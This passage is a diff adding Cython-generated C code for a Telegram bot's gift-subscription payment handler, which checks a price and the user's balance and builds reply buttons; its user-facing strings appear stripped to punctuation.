*__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + int __pyx_t_6; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + Py_ssize_t __pyx_t_10; + Py_UCS4 __pyx_t_11; + int __pyx_t_12; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("confirm_gift_handler", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L5_resume_from_await; + case 2: goto __pyx_L6_resume_from_await; + case 3: goto __pyx_L8_resume_from_await; + case 4: goto __pyx_L12_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 97, __pyx_L1_error) + + /* "handlers/payments/gift.py":100 + * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): + * """ .""" + * selected_months = callback_query.data.split("|")[1] # <<<<<<<<<<<<<< + * price = RENEWAL_PRICES.get(selected_months, None) + * user_tg_id = callback_query.from_user.id + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__26}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_3 = __Pyx_GetItemInt(__pyx_t_1, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_selected_months = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":101 + * """ .""" + * selected_months = callback_query.data.split("|")[1] + * price = RENEWAL_PRICES.get(selected_months, None) # <<<<<<<<<<<<<< + * user_tg_id = callback_query.from_user.id + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_selected_months, Py_None}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_price = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":102 + * selected_months = callback_query.data.split("|")[1] + * price = RENEWAL_PRICES.get(selected_months, None) + * user_tg_id = callback_query.from_user.id # <<<<<<<<<<<<<< + * + * if not price: + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_user_tg_id = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":104 + * user_tg_id = callback_query.from_user.id + * + * if not price: # <<<<<<<<<<<<<< + * await callback_query.answer(" . .", show_alert=True) + * return + */ + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_price); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_t_6 = (!__pyx_t_5); + if (__pyx_t_6) { + + /* "handlers/payments/gift.py":105 + * + * if not price: + * await callback_query.answer(" . .", show_alert=True) # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_show_alert, Py_True) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__28, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 105, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 105, __pyx_L1_error) + } + } + + /* "handlers/payments/gift.py":106 + * if not price: + * await callback_query.answer(" . .", show_alert=True) + * return # <<<<<<<<<<<<<< + * + * balance = await get_balance(user_tg_id) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/gift.py":104 + * user_tg_id = callback_query.from_user.id + * + * if not price: # <<<<<<<<<<<<<< + * await callback_query.answer(" . .", show_alert=True) + * return + */ + } + + /* "handlers/payments/gift.py":108 + * return + * + * balance = await get_balance(user_tg_id) # <<<<<<<<<<<<<< + * + * if balance < price: + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_get_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 108, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_balance = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":110 + * balance = await get_balance(user_tg_id) + * + * if balance < price: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + */ + __pyx_t_1 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_balance, __pyx_cur_scope->__pyx_v_price, Py_LT); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 110, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 110, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_6) { + + /* "handlers/payments/gift.py":111 + * + * if balance < price: + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 111, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 111, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":112 + * if balance < price: + * builder = InlineKeyboardBuilder() + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 112, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 112, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_8}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":114 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" . .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":115 + * + * await callback_query.message.answer( + * text=" . .", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 115, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__29) < 0) __PYX_ERR(0, 115, __pyx_L1_error) + + /* "handlers/payments/gift.py":116 + * await callback_query.message.answer( + * text=" . .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * return + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_7 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_8) < 0) __PYX_ERR(0, 115, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/gift.py":114 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" . .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 114, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 114, __pyx_L1_error) + } + } + + /* "handlers/payments/gift.py":118 + * reply_markup=builder.as_markup(), + * ) + * return # <<<<<<<<<<<<<< + * + * builder = InlineKeyboardBuilder() + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/gift.py":110 + * balance = await get_balance(user_tg_id) + * + * if balance < price: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + */ + } + + /* "handlers/payments/gift.py":120 + * return + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row( + * types.InlineKeyboardButton(text=" ", callback_data=f"confirm_gift|{selected_months}"), + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_8; + __pyx_t_8 = 0; + + /* "handlers/payments/gift.py":121 + * + * builder = InlineKeyboardBuilder() + * builder.row( # <<<<<<<<<<<<<< + * types.InlineKeyboardButton(text=" ", callback_data=f"confirm_gift|{selected_months}"), + * types.InlineKeyboardButton(text=" ", callback_data="profile"), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 121, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/gift.py":122 + * builder = InlineKeyboardBuilder() + * builder.row( + * types.InlineKeyboardButton(text=" ", callback_data=f"confirm_gift|{selected_months}"), # <<<<<<<<<<<<<< + * types.InlineKeyboardButton(text=" ", callback_data="profile"), + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__30) < 0) __PYX_ERR(0, 122, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_selected_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_9 = __Pyx_PyUnicode_Concat(__pyx_kp_u_confirm_gift, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_9) < 0) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":123 + * builder.row( + * types.InlineKeyboardButton(text=" ", callback_data=f"confirm_gift|{selected_months}"), + * types.InlineKeyboardButton(text=" ", callback_data="profile"), # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__31) < 0) __PYX_ERR(0, 123, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 123, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_t_9, __pyx_t_7}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 121, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/gift.py":126 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=( + * f" :\n" + */ + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/gift.py":127 + * + * await callback_query.message.answer( + * text=( # <<<<<<<<<<<<<< + * f" :\n" + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" + */ + __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 127, __pyx_L1_error) + 